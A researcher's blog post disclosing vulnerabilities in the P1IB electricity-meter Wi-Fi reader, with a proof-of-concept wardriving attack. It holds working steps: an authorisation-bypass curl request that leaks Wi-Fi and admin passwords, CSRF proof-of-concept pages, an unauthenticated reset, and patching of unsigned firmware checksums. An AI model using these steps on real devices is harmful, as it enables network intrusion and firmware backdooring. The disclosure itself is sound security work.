BLOG POSTS
Wardriving 2024: Using Electricity Meter Readers to Get In
By Laban Sköllermark
Do you pentest IoT equipment before joining it to your network? I did, fortunately. I bought a Swedish reader to connect to the P1 port of my electricity meter, and found a number of vulnerabilities that in combination let an attacker “wardriving” outside my house use the P1 reader to join my Wi-Fi network!
So it’s true what they say: the S in IoT stands for Security! ;)
The Product
I bought the product Electricity meter for P1/HAN port with Wi-Fi from m.nu with article number P1IB (page in Swedish – product name translated by me from Elmätare för P1/HAN-port med WiFi). The manufacturer Remne Technologies has a product page where it previously could also be bought.
I liked the fact that it has a built-in web interface with a dashboard which displays momentary consumption values with graphs, and that it’s easy to integrate with Home Assistant that I use in my home.
An EU directive says that consumers are entitled to connect own devices to electricity smart meters and receive metering information in real-time. The meters already supports Automatic Meter Reading (AMR) to send data to the electricity company. In Sweden the port is based on Dutch Smart Meter Requirements (DSMR) P1 Companion Standard and is most often called the P1 port, but sometimes also the HAN port (for Home Area Network). hanporten.se is a good resource in Swedish with descriptions of the electrical interface, the protocol, different electricity meter models in Sweden and tips & tricks for collecting the data.
The P1IB (P1 Interface Bridge) is a consumer device that connects to the P1 port. It has closed source code (i.e. not open-source). The built firmware is distributed via its GitHub project which also holds an issue tracker for the product as well as product documentation.
The printed circuit board (PCB) is built around the System-on-Chip ESP32-D0WD-V3 (datasheet) with Wi-Fi, Bluetooth, dual-core Xtensa 32-bit LX6 microprocessor running at 240 MHz and 520 KB RAM. The PCB is equipped with 4 MB of flash.
$ esptool.py --port /dev/ttyUSB0 flash_id
esptool.py v4.7.0
Serial port /dev/ttyUSB0
Connecting....
Detecting chip type... Unsupported detection protocol, switching and trying again...
Connecting....
Detecting chip type... ESP32
Chip is ESP32-D0WD-V3 (revision v3.0)
Features: WiFi, BT, Dual Core, 240MHz, VRef calibration in efuse, Coding Scheme None
Crystal is 40MHz
MAC: b4:8a:0a:<REDACTED>
Uploading stub...
Running stub...
Stub running...
Manufacturer: 5e
Device: 4016
Detected flash size: 4MB
Hard resetting via RTS pin...
The software (firmware) is built using Espressif IoT development Framework (ESP-IDF) version 4.4.4. The version 4.4 release branch is End-of-Life (EOL) since July 2024.
No CVEs
The recommended way to work on and eventually disclose vulnerabilities in GitHub projects is for the project maintainer to create repository security advisories. That way a security researcher like me can privately discuss vulnerability details with the maintainers before coordinated disclosure, and they can easily issue CVE IDs for confirmed vulnerabilities since GitHub is a CVE Numbering Authority (CNA). This was suggested to Remne Technologies but rejected. The GitHub CNA seems to not have a process for issuing CVEs for repositories hosted on their platform without maintainer cooperation.
Instead, I reported the vulnerabilities to the CVE Numbering Authority of Last
Resort (CNA-LR) MITRE. They never responded to my
request for five CVE IDs. Maybe they ignored my submission because I referred
to the p1ib
GitHub repository and the fact
that GitHub is a CNA, but they should at least have told me that.
In lack of CVE IDs and GitHub security advisory identifiers (GHSA
IDs),
I use my own vulnerability identifiers in this blog post. The IDs are the same
that I used when I first contacted Remne Technologies. The IDs are on the form
P1IB-LABAN-nnn
where nnn is a sequential number starting with 001.
The Vulnerabilities
Since my intention from the start was to evaluate the security of the device since it was planned to connect it to my home IoT Wi-Fi network, I used Burp Suite as proxy to record all web traffic and easier be able to replay and modify requests. I started testing a few firmware updates back and forth, and then I found the quite hidden setting for password protecting the web interface. Within minutes I discovered the first and most serious vulnerability, thanks to Burp!
Below follow discriptions of all vulnerabilities I have discovered in P1IB. Common Weakness Enumeration (CWE) classifications and Common Vulnerability Scoring System (CVSS) Version 4.0 metrics/vectors have been made by me and not by the manufacturer.
If you don’t want to read about each vulnerability, you can skip to the wardriving section.
P1IB-LABAN-001 Missing Authorization
Summary: A wireless or adjacent network attacker can completely compromise the device, including extracting Pre-Shared Key (PSK) for the Wi-Fi SSID the device is connected to.
CWE: CWE-862: Missing Authorization
CVE: Requested but not assigned
CVSS: 9.9 / Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N/AU:Y/R:U/V:C/RE:M
Status: Silently fixed in build aae1e85
, built 2024-FEB-12 and promoted
to stable 2024-FEB-20.
As seen in the Burp screenshot above, the P1IB did not stop handling requests
after deciding to respond 401 Unauthorized
but continued to do whatever it
was told to. This was hidden to users however, since browsers ignores anything
that comes after the HTTP response headers and Content-Length
bytes of the
HTTP response body. Luckily for me I used Burp which actually shows the
complete response.
By default, cURL does not show any extra response data either:
$ curl --include http://my-p1ib/getConfig
HTTP/1.1 401 Unauthorized
Content-Type: text/html
WWW-Authenticate: Basic realm="Login Required"
Content-Length: 0
Connection: close
I searched the cURL command line manual for options that would let me look at the extra data, but failed. Apparently I searched for the wrong terms and cURL author and maintainer Daniel Stenberg was kind enough to help me out on Mastodon:
Of course! To ignore the content length there is a cURL command line option
--ignore-content-length
!
$ curl --include --ignore-content-length http://10.5.5.26/getConfig
HTTP/1.1 401 Unauthorized
Content-Type: text/html
WWW-Authenticate: Basic realm="Login Required"
Content-Length: 0
Connection: close
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1062
Connection: close
{
"welcome": false,
"mqtt_enabled": true,
"mqtt_broker_ip": "192.168.1.2",
"mqtt_broker_port": 1883,
"mqtt_broker_user": "mqtt",
"mqtt_broker_password": "mySecretBrokerPass",
"wifi_password": "<REDACTED>",
"wifi_ssid": "<REDACTED>",
"wifi_custom_ssid_enabled": false,
"wifi_custom_ssid": "",
"wifi_dhcp_enabled": true,
"wifi_static_ip": "",
"wifi_static_netmask": "",
"wifi_static_gw": "",
"wifi_static_dns1": "",
"wifi_static_dns2": "",
"wifi_retry_timout": 60,
"wifi_ap_mode_timeout": 15,
"wifi_tx_limit": 44,
"eth_enabled": false,
"debug_enabled": false,
"debug_ip": "192.168.1.3",
"debug_udp_port": 8888,
"mqtt_json_enabled": false,
"mqtt_suffix_enabled": true,
"mqtt_cert_enabled": false,
"mqtt_cert_rootca": "",
"mqtt_cert_device": "",
"mqtt_cert_private_key": "",
"mqtt_topic_prefix": "",
"mqtt_ha_auto_discovery_enabled": true,
"mqtt_fw_ota_enabled": false,
"ntp_server_0": "0.se.pool.ntp.org",
"ntp_server_1": "1.se.pool.ntp.org",
"ntp_server_2": "2.se.pool.ntp.org",
"ota_enabled": false,
"rm_enabled": false,
"energy_enabled": false,
"login_password": "mySecretPassword",
"pp_enabled": false,
"pp_token": "",
"fuse": 25
}
(JSON response has been prettified with jq
for readability.)
An attacker can use this vulnerability to circumvent the authorization in case the owner has protected the web interface with a password. This includes reading the full P1IB configuration, changing the configuration, restarting the device, installing custom firmware, factory resetting the device etcetera.
The manufacturer was fast in fixing this vulnerability. It was fixed in a development build the 12th of Febuary 2024, which was promoted to stable the 20th of February 2024.
See vulnerability attachment P1IB-LABAN-001 for content submitted to MITRE as part of the CVE process.
P1IB-LABAN-002 Cross-Site Request Forgery
Summary: If a victim is logged into the P1IB web interface in a browser session, an attacker can make authenticated requests via the victim’s browser if the attacker can somehow lure the victim into visiting an attacker-controlled site.
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
CVE: Requested but not assigned
CVSS: 9.3 / Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N/AU:Y/R:U
Status: Unfixed (0-day) on publication. See below for updates since then.
Cross-Site Request Forgery (CSRF) is a vulnerability in website B when an
attacker can make a victim’s browser visiting website A send requests to
website B masquerading as the victim. The common protection is to require an
anti-CSRF token for all state-changing operations on website B. The token is
given to the user (victim in this case) when visiting website B, which cannot
happen when the victim is visiting the attacker’s website A. Some sites protect
against CSRF by using an API token stored in the sites’ storage in the browser
and sending it to the server together with API requests via JavaScript. For
sites using cookies for authentication a solution can be as simple as setting
the SameSite
attribute on session cookies to the correct value, but that can
have some usability drawbacks.
P1IB is vulnerable to CSRF mainly due to the following reasons:
- Authentication (if activated by the owner) is done with “Basic” HTTP authentication, which means that an authenticated user’s password is stored in the browser’s session
- No anti-CSRF tokens are required for any state-changing operation
- All state-changing operations are done with the HTTP method
GET
(the Settings page usesPOST
to the/setConfig
endpoint but the endpoint supportsGET
too)
This means that if a victim is logged into the P1IB web interface in a web browser session (the tab might be closed), an attacker can make authenticated requests via the victim’s browser if the attacker can somehow lure the victim into visiting an attacker-controlled site.
Since the P1IB web interface is served only over plaintext HTTP and does not support TLS (HTTPS), “mixed-mode” must be taken into account by an attacker when constructing a CSRF attack. Modern browsers will either refuse or issue a user confirmation before sending HTTP requests from an HTTPS site. The simplest way to tackle this is to serve the attack page over HTTP to begin with.
Two ways of making GET
requests with Authorization
headers from one HTTP
site to another HTTP site are:
<html>
<head>
<meta http-equiv="refresh" content="0; URL=http://p1ib.local/getConfig" />
</head>
</html>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://p1ib.local/restart">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
However, some endpoints never require authentication:
GET /deviceInfo
: Mainly hardware information like MAC addressGET /disableVerboseDebug
: enabling requires password but not disablingGET /disableWelcome
: Disables the welcome screen with firmware informationGET /getFwStatus
: status of ongoing firmware upgrade (bytes transferred)GET /getReducedModeList
(and/api/v1/getReducedModeList
): get some data saving settingsGET /meterData
: Meter readings are always returnedGET /reset
(and/api/v1/reset
): Resets all settings to factory settings but does not reboot the device. This means that any password protection is removed and the device can be “upgraded” to custom malware firmware for instance.GET /restart
(and/api/v1/restart
): simply reboots the deviceGET /scanWifiResult
: returns the results from the last Wi-Fi scan, but useless in a CSRF setting since attacker sites can’t read the results due to Cross-Origin Resource Sharing (CORS) policies
One problem for an attacker might be if the victim does not have multicast
DNS (mDNS) enabled in their
network. Then the P1IB device will not be reachable under the name p1ib.local
and has to be contacted using its IP address instead. Guessing the IP address
will require several requests to be sent and might take time. mDNS is enabled
by default in most consumer routers, however.
See vulnerability attachment P1IB-LABAN-002 for content submitted to MITRE as part of the CVE process.
Update 2024-AUG-28: The CSRF problem has been fixed in development firmware
versions 78f1b8c
(build date 2024-AUG-16), 54fc299
(build date 2024-AUG-22)
and 602fe98
(build date 2024-AUG-23) but in no stable version. An
authenticated GET
endpoint /csrfToken
has been added which responds with a
new token on every request, which is then required as an HTTP request header
X-Csrf-Token
on some endpoints such as /getConfig
, /initFwUpdate
,
/setConfig
and /reset
. For some unknown reason the /csrfToken
endpoint
also returns the HTTP response header Access-Control-Allow-Origin: *
, but no
method of reading the response body (containing the correct token) is known in
a CSRF setting and at the same time having the victim’s browser send the
required Authorization
header in the request.
P1IB-LABAN-003 No Secure Way of Provisioning the Device
Summary: An attacker that can eavesdrop the wireless surroundings when the device is provisioned can follow the configuration steps and join the device’s Wi-Fi network.
CWE: No applicable CWE found
CVE: Not requested. Just reported to the manufacturer.
CVSS: N/A
Status: Unfixed
When a P1IB device is purchased and connected to a meter, it must either be
left in the default open AP mode with SSID p1ib_*
so that all meter data is
available to everyone within radio coverage, or it must be configured by the
owner. The only documented way to do this (see the manufacturer’s documentation
section First time
usage) is
to visit en unencrypted (HTTP over plaintext) web interface over an open
(unencrypted) Wi-Fi connection. In order for the device to join one of the
owner’s Wi-Fi networks, a Pre-Shared Key (PSK, or password) is needed to be
submitted in the clear. Unless this is done in a Faraday
cage, this process can be
eavesdropped by an attacker.
P1IB-LABAN-004 No Security Documentation
Summary: There is no documentation around the product’s security or how to report vulnerabilities.
CWE: N/A
CVE: Not requested. Just reported to the manufacturer.
CVSS: N/A
Status: Unfixed on publication. See below for updates since then.
There are several problems around the security expectations on the product. I will briefly list them in bullet form:
- The product documentation does not mention what to expect of the product security wise, any risks with using the product etcetera. The word “security” is not mentioned.
- The email address to the developer mentioned in the license
file does not work. The
domain points to Google but it bounces with the message
550 5.1.1 The email account that you tried to reach does not exist. Please try double-checking the recipient's email address for typos or unnecessary spaces. For more information, go to https://support.google.com/mail/?p=NoSuchUser ffacd0b85a97d-37188facd07sor79093f8f.5 - gsmtp
- The GitHub repository’s Security page has no information.
- There is no security.txt file at
remne.tech/.well-known/security.txt
Update 2024-AUG-28: The erroneous email address was removed from
LICENSE.txt
on publication day (2024-AUG-16). A file
security.txt
was
added in the Git repository simultaneously. A Vulnerability Disclosure Policy
(VDP) has been published.
Empty pages Security -> Updates and
Security -> Acknowledgements
have also been created.
P1IB-LABAN-005 Plaintext Storage of a Password
Summary: The administrator’s password in stored in plaintext and retrievable via a “get configuration” request. An attacker who has gained access to the device via the authentication bypass vulnerability can get the administrator password, which might be used on other devices or accounts.
CWE: CWE-256: Plaintext Storage of a Password
CVE: Requested but not assigned
CVSS: 6.9 / Medium CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Status: Unfixed at publication. See below for changes since then.
A password that is saved in P1IB but needs to be used by the device itself, for instance when connecting to an MQTT broker, must be accessible in plaintext by the device. Passwords that the device does not need to use but only needs to check against an “incoming” password, should however not be stored in plaintext but be hashed (and salted) to a level where the device hardware sets an usability limit when it comes to response times due to processing power required.
The password for the built-in web interface of P1IB is such a password that
should not be stored in plaintext on the device. Apparently it can be read out
by the /getConfig
endpoint. In case the device owner has a bad habit of
reusing passwords, it is important that the password cannot be read out once it
is set. The vulnerability
P1IB-LABAN-001 shows that it was
possible to retrieve the password without knowing it.
See vulnerability attachment P1IB-LABAN-005 for content submitted to MITRE as part of the CVE process.
Update 2024-AUG-28: The set password is no longer returned by /getConfig
in development firmware versions 78f1b8c
(build date 2024-AUG-16), 54fc299
(build date 2024-AUG-22) and 602fe98
(build date 2024-AUG-23). No change in
any stable version.
P1IB-LABAN-006 Insufficiently Protected Credentials
Summary: Credentials (password for admin interface, PSK for Wi-Fi, MQTT password) are retrievable from the device after they are set.
CWE: CWE-522: Insufficiently Protected Credentials
CVE: Requested but not assigned
CVSS: 6.3 / Medium CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N
Status: Unfixed at publication. See below for updates since then.
Unlike the web interface password, the other passwords in the device’s settings needs to be retrievable in plaintext by the device since they are used by the device to access other resources, like an MQTT broker.
But storing the passwords in plaintext (or encrypted but decryptable) does not mean that the passwords need to be shown to users. The admin user needs to be able to set new passwords to be used, but not see the current passwords configured. Due to this problem, is was possible to see all configured passwords without knowing the web interface password, using vulnerability P1IB-LABAN-001. This fact is also important to the wardriving scenario later.
$ curl --user admin:mySecretPassword --silent http://my-p1ib/getConfig | jq .wifi_password
"mySecretPassphrase"
See vulnerability attachment P1IB-LABAN-006 for content submitted to MITRE as part of the CVE process.
Update 2024-AUG-28: The sensitive fields mqtt_broker_password
,
wifi_password
and login_password
have been removed from the /getConfig
endpoint in development firmware versions 78f1b8c
(build date 2024-AUG-16),
54fc299
(build date 2024-AUG-22) and 602fe98
(build date 2024-AUG-23). No
change in any stable version. The field mqtt_cert_private_key
is still
returned, however.
P1IB-LABAN-007 Switch to AP Mode on Deauthentication
Summary: A Wi-Fi deauthentication attack makes the device switch to AP mode, where it can be taken over by an attacker.
CWE: N/A
CVE: Not requested. Just reported to the manufacturer (2024-FEB-19).
CVSS: N/A
Status: Unfixed
This vulnerability is related to P1IB-LABAN-008 Insecure defaults but was reported separately to the manufacturer when a proof-of-concept deauthentication attack was successful.
WPA2 is the most common Wi-Fi standard in use today. Data frames are encrypted, but management frames are not. Management frames are for instance beacons, probe and association requests/responses, but also disassociation and deauthentication. There exists an add-on IEEE 802.11w that protects for instance the disassociation and deauthentication frames, but it is not very common.
The fact that deauthentication frames are unencrypted means that anyone can send them. By forging the ID of the access point, an attacker can kick out a client from a network (and force it to reconnect) by sending a fake deauthentication frame. This is called a deauthentication attack.
Deauthentication attacks can be hard to defend against. Either WPA3 is needed or both the client (“station”) and the access point need to support 802.11w. P1IB should have support for Protected Management Frames (PMF), based on 802.11w, since it’s supported by ESP-IDF since version 4.0.1 and P1IB is using version 4.4.4. I have not confirmed support for PMF.
But it’s more important what happens on a successful deauthentication. When
the P1IB is deauthenticated, it falls back to open AP mode. It sets up an
unencrypted access point with SSID p1ib_<MAC>
, and anyone within radio
coverage can connect to it and visit the web interface. Some API endpoints are
however protected by the web interface password, if set. One important endpoint
that is not protected with authentication is /reset
which will factory
reset the settings of the device, which will remove the password protection and
the device can be backdoored with custom malicious firmware before the owner
might think it just lost it settings and configures it again. See
P1IB-LABAN-002 Cross-site
request forgery for a full list of unauthenticated endpoints and some more
details.
P1IB-LABAN-008 Insecure Defaults
Summary: There are multiple insecure defaults in P1IB: No WPA in AP mode, fallback to open AP mode, no admin password and the setting for it was hidden.
CWE: CWE-1188: Initialization of a Resource with an Insecure Default
CVE: Requested but not assigned
CVSS: 8.7 / High CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/R:U
Status: Mostly unfixed (the web interface password setting is moved to
setting #3 on the Settings page in build f934567
, built 2024-JUN-25 and
promoted to stable 2024-AUG-13).
This vulnerability was not communicated to the manufacturer as a separate
vulnerability, but most aspects were discussed with them. The manufacturer has
never seen the vulnerability identified (P1IB-LABAN-008
) prior to this blog
post.
The factory setting is to start in Access Point (AP) mode with an open and unencrypted web interface over plaintext HTTP with no password protection. The setting of an administrator password was hidden under advanced settings (it is now in the start of the regular settings). The owner of the device is supposed to provision it by selecting a wireless network to join the device to and enter its Pre-Shared Key (PSK) over this insecure interface.
If the device at any time fails to join its configured network or if an attacker performs a deauthentication attack to kick the device out of its network, it falls back to open/unencrypted AP mode, and there is no possibility to set a PSK for the AP mode.
See vulnerability attachment P2IB-LABAN-008 for content submitted to MITRE as part of the CVE process.
Update 2024-AUG-28: The firmware versions with the login password setting moved to setting #3 (including the latest stable firmware version) also has a reminder on the welcome screen to set a password.
Wardriving
The term “wardriving” comes from “wardialing” – the concept of dialing a lot of PSTN phone numbers in sequence in search for modems. The name comes from the famous 1983 hacker movie WarGames where this practice is seen.
Wardriving (and the variants warbiking, warcycling, warwalking and warchalking) is instead the search of (sometimes open and free) Wi-Fi access points. This was more popular around the year 2000 when many networks were still unencrypted or protected with the insecure WEP encryption, and when public access points were not common.
Looking for P1IB Devices
Searching for P1IB devices by driving around (or use Wi-Fi mapping services
like WiGLE), could for instance be done by scanning for
SSIDs starting with p1ib_
, but that would only find devices that are in setup
mode before they have joined another SSID.
A better, but more complicated, method is to search for Wi-Fi clients with
MAC addresses starting with b4:8a:0a
, owned by Espressif
Inc. Then you will find all
sorts of IoT devices, like Shelly devices, however.
The P1IB is unfortunately (for owners) very quick to go into access point (AP)
mode when kicked out from the joined network. Then it will “reveal” itself by
setting up an SSID starting with p1ib_
.
Proof of Concept Wardrive Scenario
Enough with the theory – let’s try it out!
I followed the guide Deauthentication Attack using Kali Linux to perform a deauthentication attack against my P1IB, kicking it out from my IoT Wi-Fi network (SSID).
First I listened to the radio traffic to see which access points and clients were communicating.
One client with MAC address starting with B4:8A:0A
is found and is a
candidate for being a P1IB device.
Now the device is deauthenticated and it turned up as a new SSID
P1IB_b48a0a<REDACTED>
! Join it, and the P1IB is 192.168.1.1.
If the device is running firmware vulnerable to P1IB-LABAN-001, now is the time to run
$ curl --ignore-content-length http://192.168.1.1/getConfig
and get all juicy secrets, including the PSK for the Wi-Fi!
But if the device is running the latest stable firmware, we can still have some fun!
Deploying Malicious Firmware
The device is checking if it is running the recommended software by downloading a JSON file from the device’s GitHub project:
$ curl --silent https://raw.githubusercontent.com/remne/p1ib/master/index.json | jq .
{
"recommended": "f934567",
"latest": "f934567",
"blobs": [
{
"build": "f934567",
"build_date": "20240625",
"status": "Stable",
"changelog": "- MQTT password length increased to 64 chars.<br/>- Items re-arranged in settings ui.<br/>- Improved Wi-Fi mesh support (bssid selectable).<br/>- Transformer ratio constant support.<br/>- Additional broken STAR meter support.</br><br/><br/><b>Note. This version breaks compatibility with the homey app.</b>",
"blob": "blobs/f934567.bin"
},
{
"build": "aae1e85",
"build_date": "20240212",
"status": "Stable",
"changelog": "- Telegram interval measurement.<br/>- Add additional main fuse values.<br/>- Fix issue when AP SSID is hidden.<br/>- Increase mqtt password length.<br/>- Add ethernet support (P1IB-eth).<br/>- improve STAR-meters corrupt data compensation.<br/>- Improve wifi/mqtt connection/reconnect behavior.<br/>- HA auto discovery UI switch.<br/>- JSON payload improvements.<br/>",
"blob": "blobs/aae1e85.bin"
},
{
"build": "9c2ad9a",
"build_date": "20230922",
"status": "Stable",
"changelog": "- State class warnings in HA fixed.<br/>- Align sensor names to latest Home Assistant release rules.<br/>- Current gauges cards in web UI.<br/>- AWS IoT Core/MQTT TLS support.<br/>- Optional JSON payload for sensor states. <b>NOTE! Do not enable json payload if you already have statistics in Home Assistant. It will be removed and the power meters import energy (kWh) will be sampled as todays consumtion from day 0.</b>",
"blob": "blobs/9c2ad9a.bin"
}
]
}
If the owner chooses to update the firmware, the web interface issues a
GET
/initFwUpdate
with a query string parameter file
set to the URL to a binary firmware file. If using GitHub, the URL must start
with https://
since they are redirecting unencrypted traffic to HTTPS. When
using HTTPS, P1IB is validating the certificate chain sent by the server. It
only trusts one Certificate Authority (CA) however - the one GitHub uses. So if
you want to load your own firmware “over the air” and use HTTPS, the simplest
solution is to host it on GitHub. I forked the p1ib
project to demonstrate
this. You can also download firmware over plaintext HTTP if you wish. Then the
server can even be in your internal network.
P1IB firmware is not signed. There are two checksums that must be correct,
however. In order to test if I could flash my own firmware onto P1IB, I copied
aae1e85.bin
, patched it with an “easter egg” to simulate a malicious
firmware, and then patched the checksums at the end of the file after
calculating the correct values for the modified file.
Checksums are easily calculated and compared with esptool.py
in the PyPI
package esptool
.
$ esptool.py image_info --version 2 modified.bin
esptool.py v4.7.0
File size: 1908672 (bytes)
Detected image type: ESP32
ESP32 image header
==================
Image version: 1
Entry point: 0x40082d94
Segments: 5
Flash size: 4MB
Flash freq: 80m
Flash mode: DIO
ESP32 extended image header
===========================
WP pin: 0xee (disabled)
Flash pins drive settings: clk_drv: 0x0, q_drv: 0x0, d_drv: 0x0, cs0_drv: 0x0, hd_drv: 0x0, wp_drv: 0x0
Chip ID: 0 (ESP32)
Minimal chip revision: v0.0, (legacy min_rev = 0)
Maximal chip revision: v655.35
Segments information
====================
Segment Length Load addr File offs Memory types
------- ------- ---------- ---------- ------------
1 0xc6690 0x3f400020 0x00000018 DROM
2 0x06f38 0x3ffbdb60 0x000c66b0 BYTE_ACCESSIBLE, DRAM
3 0x02a20 0x40080000 0x000cd5f0 IRAM
4 0xe7b34 0x400d0020 0x000d0018 IROM
5 0x1a440 0x40082a20 0x001b7b54 IRAM
ESP32 image footer
==================
Checksum: 0x3b (invalid - calculated 6b)
Validation hash: 504cad82066e54d2a9632234f86a3590796308db525b1c078505154b7d2e79e1 (invalid)
Application information
=======================
Project name: arduino-lib-builder
App version: esp-idf: v4.4.4 e8bdaf9198
Compile time: Feb 8 2023 18:16:59
ELF file SHA256: 8ab28a73e9d73c9b2c71eecd9dff69654fc5e7e3633d7f6ac5f1ac197951f373
ESP-IDF: v4.4.4
Secure version: 0
To modify the binary firmware using hex, I used hexer
from the Debian package
hexer
. The tool uses Vim key bindings, so I felt at home.
esptool
was kind enough to tell us that the ESP32 image footer had the wrong
checksum and which checksum was expected.
Checksum: 0x3b (invalid - calculated 6b)
Let’s use hexer
to patch it!
001d1f80: 36 21 00 0c 04 40 e4 61 10 20 00 20 34 20 20 33 6!...@.a. . 4 3
001d1f90: 30 30 e4 13 10 20 00 2d 04 1d f0 00 00 00 00 3b 00... .-.......;
001d1fa0: a5 f7 8a 27 66 4e a5 d6 92 09 29 3d a4 f4 dd f9 ...'fN....)=....
001d1fb0: e3 08 95 ea 65 1c 62 67 b4 9e 56 06 5f 6c a9 7e ....e.bg..V._l.~
001d1fc0: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ----------------
You see 3b
at the last byte in the second line. We replace it with 6b
(r
for replacing a byte):
001d1f80: 36 21 00 0c 04 40 e4 61 10 20 00 20 34 20 20 33 6!...@.a. . 4 3
001d1f90: 30 30 e4 13 10 20 00 2d 04 1d f0 00 00 00 00 6b 00... .-.......k
001d1fa0: a5 f7 8a 27 66 4e a5 d6 92 09 29 3d a4 f4 dd f9 ...'fN....)=....
001d1fb0: e3 08 95 ea 65 1c 62 67 b4 9e 56 06 5f 6c a9 7e ....e.bg..V._l.~
001d1fc0: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ----------------
We run esptool
again to see the difference:
ESP32 image footer
==================
Checksum: 0x6b (valid)
Validation hash: f94e200d2cf3de716a07c9128368978ecd3d3271df7a8acf3d2c5300925089c6 (invalid)
Now it’s happy about the checksum, but there is a validation hash that is invalid. The hash has changed since the last run, so the displayed value must be the correct one. Inspecting the validation hash of the original firmware file we can easily see where in the file it’s present:
$ esptool.py image_info --version 2 aae1e85.bin | grep --text Validation
Validation hash: a5f78a27664ea5d69209293da4f4ddf9e30895ea651c6267b49e56065f6ca97e (valid)
a5f7...a97e
- that’s the third and forth line from the hexer
excerpt above.
Now we can replace those lines with the correct validation hash (Shift+R
to
switch to replace mode). Result:
001d1f80: 36 21 00 0c 04 40 e4 61 10 20 00 20 34 20 20 33 6!...@.a. . 4 3
001d1f90: 30 30 e4 13 10 20 00 2d 04 1d f0 00 00 00 00 6b 00... .-.......k
001d1fa0: f9 4e 20 0d 2c f3 de 71 6a 07 c9 12 83 68 97 8e .N .,..qj....h..
001d1fb0: cd 3d 32 71 df 7a 8a cf 3d 2c 53 00 92 50 89 c6 .=2q.z..=,S..P..
001d1fc0: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ----------------
$ esptool.py image_info --version 2 modified.bin | grep --text -A3 footer
ESP32 image footer
==================
Checksum: 0x6b (valid)
Validation hash: f94e200d2cf3de716a07c9128368978ecd3d3271df7a8acf3d2c5300925089c6 (valid)
And esptool
is happy!
The file modified.bin
was created when writing this blog post in order to
show how it was produced. The original file I used is called test.bin
. But I
managed to replicate the same changes:
$ sha256sum modified.bin test.bin
68aa2dce7b71fd6c63e0aee983dc290ad7283c7e857d46cf6844814814192944 modified.bin
68aa2dce7b71fd6c63e0aee983dc290ad7283c7e857d46cf6844814814192944 test.bin
Now we have a modified firmware with an easter egg. Let’s replace the firmware of a P1IB device protected with a password.
┌──(user㉿iot)-[~]
└─$ curl --include http://my-p1ib/deviceInfo
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 151
Connection: close
{"mac_address":"b4:8a:0a:<REDACTED>","version":"f934567","hw_revision":"F","feat_external_antenna":false,"feat_pass_through":false,"feat_ethernet":false}
Yes, the device is up-to-date with the latest stable firmware (f934567
) which
is not vulnerable to P1IB-LABAN-001. We check a special part of the web
application source. It says Current Installed Firmware:
┌──(user㉿iot)-[~]
└─$ curl --silent http://my-p1ib/ | grep "Current Installed"
<div class="mdl-cell mdl-cell--3-col">Current Installed Firmware</div>
┌──(user㉿iot)-[~]
└─$ curl --include --ignore-content-length http://my-p1ib/getConfig
HTTP/1.1 401 Unauthorized
Content-Type: text/html
WWW-Authenticate: Basic realm="Login Required"
Content-Length: 0
Connection: close
And the device is indeed password protected. But since /reset
is an
unauthenticated API endpoint we can factory reset all the settings anyway!
┌──(user㉿iot)-[~]
└─$ curl --include http://my-p1ib/reset
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 6
Connection: close
reset!
┌──(user㉿iot)-[~]
└─$ curl --include http://my-p1ib/getConfig
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 1667
Connection: close
{"welcome":true,"mqtt_enabled":false,"mqtt_broker_ip":"","mqtt_broker_port":1883,"mqtt_broker_user":"","mqtt_broker_password":"","wifi_password":"","wifi_ssid":"","wifi_custom_ssid_enabled":false,"wifi_custom_ssid":"","wifi_dhcp_enabled":true,"wifi_static_ip":"","wifi_static_netmask":"","wifi_static_gw":"","wifi_static_dns1":"","wifi_static_dns2":"","wifi_retry_timout":60,"wifi_ap_mode_timeout":10,"wifi_tx_limit":44,"eth_enabled":false,"debug_enabled":false,"debug_ip":"","debug_udp_port":8888,"mqtt_json_enabled":false,"mqtt_suffix_enabled":false,"mqtt_cert_enabled":false,"mqtt_cert_rootca":"","mqtt_cert_device":"","mqtt_cert_private_key":"","mqtt_topic_prefix":"","mqtt_ha_auto_discovery_enabled":true,"mqtt_fw_ota_enabled":false,"ntp_server_0":"0.se.pool.ntp.org","ntp_server_1":"1.se.pool.ntp.org","ntp_server_2":"2.se.pool.ntp.org","ota_enabled":false,"rm_enabled":false,"energy_enabled":false,"login_password":"","pp_enabled":false,"pp_token":"","fuse":"16","wifi_bssid":"","transformer_ratio":1,"rm_en_1-0:2.8.0":false,"rm_en_1-0:3.8.0":false,"rm_en_1-0:4.8.0":false,"rm_en_1-0:1.7.0":false,"rm_en_1-0:2.7.0":false,"rm_en_1-0:3.7.0":false,"rm_en_1-0:4.7.0":false,"rm_en_1-0:21.7.0":false,"rm_en_1-0:22.7.0":false,"rm_en_1-0:41.7.0":false,"rm_en_1-0:42.7.0":false,"rm_en_1-0:61.7.0":false,"rm_en_1-0:62.7.0":false,"rm_en_1-0:23.7.0":false,"rm_en_1-0:24.7.0":false,"rm_en_1-0:43.7.0":false,"rm_en_1-0:44.7.0":false,"rm_en_1-0:63.7.0":false,"rm_en_1-0:64.7.0":false,"rm_1-0:64.7.0":"1","rm_en_1-0:32.7.0":false,"rm_en_1-0:52.7.0":false,"rm_en_1-0:72.7.0":false,"rm_en_1-0:31.7.0":false,"rm_en_1-0:51.7.0":false,"rm_en_1-0:71.7.0":false,"rm_1-0:2.8.0":"0.0"}
Now it’s possible to read the configuration without restarting the device, but all secrets have already been wiped. Let’s replace the firmware with our patched version.
┌──(user㉿iot)-[~]
